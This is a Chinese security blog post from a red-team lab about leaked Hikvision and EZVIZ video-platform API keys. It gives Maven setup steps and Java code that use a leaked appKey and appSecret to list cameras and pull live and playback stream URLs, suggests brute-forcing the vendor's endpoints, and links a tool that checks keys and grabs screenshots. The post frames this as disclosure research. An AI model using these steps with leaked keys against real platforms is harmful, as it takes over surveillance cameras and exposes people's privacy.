实战中的那些视频安全(一)

admin 2022年2月2日23:31:36评论367 views字数 4804阅读16分0秒阅读模式

概述

近日,默安玄甲实验室在攻防演练中发现了多个视频平台的安全风险。本着富强民主文明和谐自由平等公正法治爱国敬业诚信友善的目的,玄甲实验室对整个视频安全体系的利用链进行总结,整个体系介绍了RTSP协议到单个摄像头设备的风险再到整个综合安防管理平台、智慧楼宇平台等智慧小区的平台的安全风险。研究过程的0day玄甲已经通报了厂商此系列风险,并协助监管单位和风险单位进行修复。

本篇介绍视频云平台那些信息泄露篇


在某次实战,发现了某HW的单位配置不当导致了视频平台key泄露,玄甲实验室进一步分析,此泄露的利用不局限于内网,公网仍有有很多受害例。通过默安OSINT平台发现全国多个平台存在泄露的风险。


危害等级

严重

分布情况

github

github使用特定语法搜索得到如下结果。

实战中的那些视频安全(一)

实战中的那些视频安全(一)

原理分析

通过AK、SK进行身份验证,通过调用接口实现视频预览等功能。因此代码中泄露了key即可能造成摄像头集群被接管。

下面是某次攻防演习实战中遇到的泄露。

实战中的那些视频安全(一)

利用与检测方式

海康威视

①下载官方sdk

https://open.hikvision.com/download/5c67f1e2f05948198c909700?type=10

实战中的那些视频安全(一)

②IDEA新建maven项目,并将OpenAPI认证库导入maven

mvn install:install-file 
-Dfile=/Users/niudai/lang/apache-maven-3.6.3/artemis-http-client-1.1.3.jar
-DgroupId=artemis-http-client
-DartifactId=hk
-Dversion=1.1.3
-Dpackaging=jar

实战中的那些视频安全(一)

③创建项目代码

实战中的那些视频安全(一)

pom.xml增加dependencies

        <dependency>
           <groupId>artemis-http-client</groupId>
           <artifactId>hk</artifactId>
           <version>1.1.3</version>
       </dependency>
       <dependency>
           <groupId>com.alibaba</groupId>
           <artifactId>fastjson</artifactId>
           <version>1.2.68</version>
       </dependency>
   </dependencies>

DataTypeConversionUtil.java

public class DataTypeConversionUtil {
   public static Map<String,Object> getStringToMap(String str){
       JSONObject parseObject = JSONArray.parseObject(str);
       return parseObject;
  }
}

HKUtil.java

import com.alibaba.fastjson.JSONObject;
import com.hikvision.artemis.sdk.ArtemisHttpUtil;
import com.hikvision.artemis.sdk.config.ArtemisConfig;

import java.util.HashMap;
import java.util.Map;

/**
* 海康工具类
*/
public class HKUtil {
   static {
       // 代理API网关nginx服务器ip端口
       ArtemisConfig.host = "220.xxx.xxx.xxx";
       // 秘钥appkey
       ArtemisConfig.appKey = "xxxx";
       // 秘钥appSecret
       ArtemisConfig.appSecret = "uxxxxx";
  }
   /**
    * 能力开放平台的网站路径
    * TODO 路径不用修改,就是/artemis
    */
   private static final String ARTEMIS_PATH = "/artemis";
   /**
    * 通用海康接口
    * 调用POST请求类型(application/json)接口*
    * @return
    */
   public static Map<String,Object> publicHkInterface(JSONObject jsonBody,String url){
       final String getCamsApi = ARTEMIS_PATH +url;
       Map<String, String> path = new HashMap<String, String>(2);
       path.put("https://", getCamsApi);
       // post请求application/json类型参数
       String result =ArtemisHttpUtil.doPostStringArtemis(path,jsonBody.toJSONString(),null,null,"application/json",null);
       return  DataTypeConversionUtil.getStringToMap(result);
  }


   /**
    * 获取监控点预览取流URL
    * @param id 设备编号
    * @return
    */
   public static Map<String,Object> camerasPreviewURLs(String id){
       JSONObject jsonBody = new JSONObject();
//       jsonBody.put("cameraIndexCode", id);
//       jsonBody.put("protocol", "hls");、
//       jsonBody.put("streamType", 0);
//       jsonBody.put("protocol", "rtsp");
//       jsonBody.put("transmode", 1);
//       jsonBody.put("expand", "streamform=ps");
       Map<String,Object> returnMap=publicHkInterface(jsonBody,"/api/video/v1/cameras/previewURLs");
       return returnMap;
  }

   /**
    * API名称:
    * 查询监控点列表v2
    * 分组:
    * 视频资源接口
    * 提供方名称:
    * 资源目录服务
    * qps:
    * 描述:根据条件查询目录下有权限的监控点列表
    * @return
    */
   public static Map<String,Object> cameraSearch(){
       JSONObject jsonBody = new JSONObject();
       jsonBody.put("pageNo", 1);
       jsonBody.put("pageSize", 1000);
       jsonBody.put("resourceType", "door");
       Map<String,Object> returnMap=publicHkInterface(jsonBody,"/api/resource/v2/camera/search");
       return returnMap;
  }

   public static Map<String,Object> getCameraPlayBackURL(String id){
       JSONObject jsonBody = new JSONObject();
       jsonBody.put("cameraIndexCode", id);
//       jsonBody.put("protocol", "rtsp");
       jsonBody.put("beginTime", "2020-12-15T09:35:06.000+08:00");
       jsonBody.put("endTime", "2021-06-17T15:00:00.000+08:00");
       Map<String,Object> returnMap=publicHkInterface(jsonBody,"/api/video/v1/cameras/playbackURLs");
       return returnMap;
  }


   public static void main(String[] args) {
       System.out.println(cameraSearch());
//       System.out.println(camerasPreviewURLs("33068100001310938991"));
//       System.out.println(getCameraPlayBackURL("33068100001310938991"));
  }
}

先通过cameraSearch()/api/resource/v2/camera/search接口,获取有权限的设备列表的信息。

实战中的那些视频安全(一)

比较重要的信息是indexCoderegionPathName

获取视频流是调用camerasPreviewURLs()/api/video/v1/cameras/previewURLs接口,需要传入indexCode,根据官方文档可以设置不同的取流协议(默认是rtsp)。

返回的视频流地址使用VLC连接即可。

实战中的那些视频安全(一)

如果视频流地址无法正常读取,可能是摄像头处于关闭状态,根据前面读取到的设备信息可以看到createTimeupdateTime,试试比较新的摄像头。

实战中的那些视频安全(一)


官方文档还有其他API接口,比如录像回放等等。

这里有个注意点,就是不同设备的api接口不同,需要选择对应的api接口才能正确返回结果,当然也可以直接爆破官方提供的全部接口。

https://open.hikvision.com/osp#%E7%BB%BC%E5%90%88%E5%AE%89%E9%98%B2%E7%AE%A1%E7%90%86%E5%B9%B3%E5%8F%B0

萤石

原理与海康威视大同小异,主要有两个区别。

1、不需要下载sdk,可以直接使用普通的http请求。

2、萤石的调用方式为SaaS模式,海康则是部署在客户本地服务器上。

大华

厂商并未修复一些衍生问题,暂时略过。

工具开发

开发了一个工具实现了以下功能。

1、验证泄露的key是否有效。

2、获取有权限的监控点列表。

3、输入视频流地址进行截图保存功能。

实战中的那些视频安全(一)

总结

随着新一代安防体系的建设,摄像头也作为基础设备覆盖了各个区域,影响的不止是个人隐私,由于国家信息化、智能化的推动,关基的视频专网基本使用智慧安防平台,此类安全已经影响公共安全和网络安全。

PS:和某安防厂商的负责人以及关基的安全负责人聊过,此类平台由于厂商的骚操作还说由于技术原因(方便管理?)不能挪到内网。

验证工具项目地址:https://github.com/darkarmorlab/video-api-check/releases/tag/v1.0

参考链接

https://www.freesion.com/article/60261295938/


实战中的那些视频安全(一)

扫码关注玄甲
玄甲实验室是默安科技旗下的技术研究团队,团队由长期在一线的攻防专家组成。团队主要致力于Web渗透,APT攻防、对抗,红队工程化,从底层原理到一线实战进行技术研究,深入还原攻与防的技术本质。



本文始发于微信公众号(玄甲安全实验室):实战中的那些视频安全(一)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年2月2日23:31:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   实战中的那些视频安全(一)http://cn-sec.com/archives/477527.html

发表评论

匿名网友 填写信息